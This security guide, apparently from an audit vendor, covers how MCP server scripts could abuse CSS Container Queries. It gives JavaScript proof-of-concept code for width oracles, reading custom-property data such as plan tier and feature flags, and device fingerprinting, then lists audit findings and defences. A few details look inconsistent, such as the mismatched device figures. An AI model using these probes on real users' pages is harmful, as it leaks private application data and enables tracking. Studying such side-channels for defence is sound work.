Security Guide

MCP server CSS Container Queries inline security — @container width threshold oracle without getBoundingClientRect(), @container style() reading host CSS custom properties, cq unit computed width exfiltration, container-type: size 2D dimension fingerprinting

CSS Container Queries (Chrome 105+, Firefox 110+, Safari 16+) make CSS rules conditional on an ancestor container's measured dimensions or CSS custom property values. This is essential for responsive component design — and creates four attack surfaces for MCP server scripts. A binary-search series of @container (width > Npx) probes extracts container width without calling getBoundingClientRect(). @container style(--user-plan: premium) rules (Chrome 111+) fire when a container's custom property matches, reading host application data. Applying width: 50cqw to a probe element computes to exactly half the container width, leaking the dimension as a getComputedStyle side-channel. And container-type: size exposes both axes simultaneously for 2D fingerprinting.

How container queries create dimension oracles

The core mechanism: @container (width > 500px) { .probe { --hit: 1; } } sets a CSS custom property only when the nearest ancestor with container-type is wider than 500px. An MCP server injects this rule, appends a probe element inside the container, and reads getComputedStyle(probe).getPropertyValue('--hit'). If the value is 1, the container is wider than 500px. If empty, it is not. Binary-searching over thresholds (250px, 375px, 437px, …) converges to the container's exact pixel width in approximately 10 reads for sub-pixel precision.

Attack 1: Binary-search @container threshold probing extracts element dimensions

This attack extracts the measured inner width of any container-type-establishing ancestor without calling getBoundingClientRect(), offsetWidth, or any geometric API. It requires only that the attacker can inject a <style> element and append a child node inside the container.

// @container binary-search dimension oracle
// Extracts container width without getBoundingClientRect()

function probeContainerWidth(containerEl) {
  // Inject a probe element inside the container
  const probe = document.createElement('div');
  probe.id = 'cq-width-probe';
  containerEl.appendChild(probe);

  // Make container a size container if it is not already
  // (may be a no-op if host already set container-type)
  const containerStyle = document.createElement('style');
  containerStyle.textContent = `
    #cq-width-probe-wrapper { container-type: inline-size; }
  `;

  // Binary-search for exact pixel width
  let lo = 0;
  let hi = 4096;

  while (hi - lo > 1) {
    const mid = Math.floor((lo + hi) / 2);
    const style = document.createElement('style');
    style.textContent = `
      @container (width > ${mid}px) {
        #cq-width-probe { --hit: 1; }
      }
    `;
    document.head.appendChild(style);
    const hit = getComputedStyle(probe).getPropertyValue('--hit').trim() === '1';
    document.head.removeChild(style);

    if (hit) lo = mid;  // container is wider than mid
    else hi = mid;       // container is at most mid wide
  }

  probe.remove();
  return lo; // width in pixels, ±1px precision
}

// Use: measure a sidebar component the attacker cannot directly access
const sidebar = document.querySelector('.sidebar'); // may be in another tree region
// Requires the sidebar or an ancestor to have container-type set by the host
const width = probeContainerWidth(sidebar);
// Returns: 280 — the sidebar's exact rendered width

Works across shadow DOM for slotted children: Because @container queries traverse the flattened tree, a probe element slotted into a custom element with container-type: inline-size on its shadow host sees the host's container width. This enables dimension extraction from shadow DOM layouts that would otherwise be inaccessible from the light DOM.

Attack 2: @container style() reads host CSS custom property data

@container style(--prop: value) (Chrome 111+) fires when an ancestor container's CSS custom property has a specific value. Applications that encode user data, feature flags, or configuration into CSS custom properties (a common pattern for design tokens and theming) expose that data to @container style() probing. The attacker need not know the container element — only the property name and possible values.

// @container style() query: read host CSS custom property values as binary probes
// Requires Chrome 111+ (container style queries)

// Pattern 1: Direct value matching — known values
function probeCustomPropertyValue(propertyName, possibleValues) {
  const probe = document.createElement('div');
  probe.id = 'cq-style-probe';
  document.body.appendChild(probe);

  for (const value of possibleValues) {
    const style = document.createElement('style');
    style.textContent = `
      @container style(${propertyName}: ${value}) {
        #cq-style-probe { --matched: "${value}"; }
      }
    `;
    document.head.appendChild(style);
    const matched = getComputedStyle(probe)
      .getPropertyValue('--matched').trim().replace(/"/g, '');
    document.head.removeChild(style);

    if (matched === value) {
      probe.remove();
      return value; // found the active value
    }
  }

  probe.remove();
  return null; // no match
}

// Example: read the user's plan tier from a CSS custom property
// Many SaaS apps set --user-plan or --subscription-tier for feature-gated styling
const plan = probeCustomPropertyValue('--user-plan', ['free', 'pro', 'team', 'enterprise']);
// Returns: 'pro' — the CSS custom property value reveals the subscription tier

// Pattern 2: Detect feature flags encoded in CSS custom properties
// Common pattern: --feature-new-dashboard: enabled / disabled
const features = ['--feature-new-dashboard', '--feature-ai-mode', '--feature-admin-panel'];
const activeFeatures = [];

for (const flag of features) {
  const active = probeCustomPropertyValue(flag, ['enabled', 'true', '1']);
  if (active) activeFeatures.push(flag);
}
// Returns: ['--feature-admin-panel'] — admin feature flag is active

Design token systems expose business data: Many modern React, Vue, and Angular applications set CSS custom properties for design tokens that also encode business logic — --user-role, --subscription-plan, --org-tier. @container style() queries read these values without any JavaScript access to the element, the store, or the component props that set them.

Attack 3: cq unit computed value exfiltration

CSS container query units (cqw, cqh) are relative to the container's dimensions: 1cqw = 1% of container width, 1cqh = 1% of container height. Applying width: 100cqw to a probe element and reading its computed width via getComputedStyle returns a pixel value equal to the full container width — a direct dimension exfiltration in a single read, with no binary search needed.

// cq unit computed value exfiltration — extract container dimensions in one read
// No binary search required: cqw resolves to exact pixel values in computed styles

function extractContainerDimensions(containerEl) {
  // Ensure the container has container-type set (or find an ancestor that does)
  const probe = document.createElement('div');
  probe.style.cssText = `
    position: absolute;
    visibility: hidden;
    pointer-events: none;
    width: 100cqw;
    height: 100cqh;
  `;
  containerEl.appendChild(probe);

  const computed = getComputedStyle(probe);
  const widthPx = parseFloat(computed.width);   // = container.clientWidth
  const heightPx = parseFloat(computed.height); // = container.clientHeight (if size container)

  probe.remove();
  return { width: widthPx, height: heightPx };
}

// One-liner version using inline style (no style injection needed)
function oneReadContainerWidth(insideContainer) {
  const p = document.createElement('div');
  p.style.width = '100cqw';
  p.style.position = 'absolute';
  p.style.visibility = 'hidden';
  insideContainer.appendChild(p);
  const w = parseFloat(getComputedStyle(p).width);
  p.remove();
  return w;
}

// Difference from Attack 1:
// Attack 1 needs ~10 reads (binary search over threshold probes)
// Attack 3 needs 1 read (cqw unit directly resolves to pixel value)
// But Attack 3 requires container-type to be set on an ancestor by the host
// Attack 1 works if any ancestor already has container-type from host CSS

Attack 4: container-type: size enables 2D dimension fingerprinting

When an ancestor uses container-type: size (as opposed to inline-size), both inline and block axes are queryable. This enables simultaneous width and height extraction in a single probe pass, producing a 2D viewport signature. Combined with device pixel ratio (from window.devicePixelRatio), this fingerprints device form factor to a narrow set of device models.

// 2D dimension fingerprinting using container-type: size
// Works when a host ancestor sets container-type: size (not just inline-size)

function build2DFingerprint() {
  // Find any container-type: size element
  // Many layout frameworks (Material UI, Radix) set this on root layout elements
  const containers = document.querySelectorAll('*');
  let sizeContainer = null;

  for (const el of containers) {
    const ct = getComputedStyle(el).containerType;
    if (ct === 'size') {
      sizeContainer = el;
      break;
    }
  }

  if (!sizeContainer) return null;

  const probe = document.createElement('div');
  probe.style.width = '100cqw';
  probe.style.height = '100cqh';
  probe.style.position = 'absolute';
  probe.style.visibility = 'hidden';
  sizeContainer.appendChild(probe);

  const w = parseFloat(getComputedStyle(probe).width);
  const h = parseFloat(getComputedStyle(probe).height);
  probe.remove();

  const dpr = window.devicePixelRatio;

  // 2D fingerprint: {w: 375, h: 812, dpr: 3} → iPhone 12/13/14 (390/844 logical)
  // Narrow set: most device models have unique {w, h, dpr} combinations
  return {
    containerWidth: w,
    containerHeight: h,
    devicePixelRatio: dpr,
    physicalWidth: Math.round(w * dpr),
    physicalHeight: Math.round(h * dpr)
  };
}

// Fingerprint stability: container dimensions are stable across navigation
// and not reset by Incognito mode — this is a cross-session identifier
AttackAPI usedReads neededWhat it leaks
Binary-search threshold@container (width > Npx)~10Container inline width ±1px
Style query@container style(--prop: val)O(|values|)CSS custom property value
cq unit exfilwidth: 100cqw1Container width exactly
2D fingerprint100cqw + 100cqh1Width + height + device model

SkillAudit findings for CSS Container Query attacks

HIGH@container width threshold oracle: binary-search over (width > Npx) rules extracts container pixel width without getBoundingClientRect() — works across shadow DOM for slotted probe elements.
HIGH@container style() custom property read: Chrome 111+ style queries fire on specific CSS custom property values, leaking user plan tier, feature flags, and configuration data encoded in design-token CSS variables.
MEDIUMcq unit computed value exfiltration: width: 100cqw on a probe resolves to the exact container pixel width in getComputedStyle — single-read dimension extraction when the host has container-type set.
MEDIUMcontainer-type: size 2D fingerprinting: combined cqw + cqh extraction plus devicePixelRatio narrows device identity to a small set of models, stable across Incognito and navigation.

Defences

Audit CSS custom property semantics: Do not encode user-specific business data (plan tier, role, feature flags) in CSS custom properties on container elements if those containers could be queried by injected styles. Use JS-only variables or scoped context for security-sensitive configuration.

Scope container-type carefully: Only set container-type: size on elements where both-axis querying is required. Prefer container-type: inline-size (which exposes only width) for standard responsive components. Avoid setting container-type on root or global layout elements that wrap attacker-injectable child content.

Restrict style injection via CSP: @container dimension probing requires injected <style> elements. CSP style-src 'self' without 'unsafe-inline' blocks probe stylesheet injection. MCP servers that call document.head.appendChild with style elements should be flagged in security audits.

Limit containerized scope of MCP-provided UI: MCP server UI components should render in isolated iframes rather than as light-DOM children of host containers. An iframe boundary prevents @container style queries from crossing the boundary in both directions.

Related: CSS Anchor Positioning dimension oracle · CSS media query fingerprinting · CSS @property registered custom properties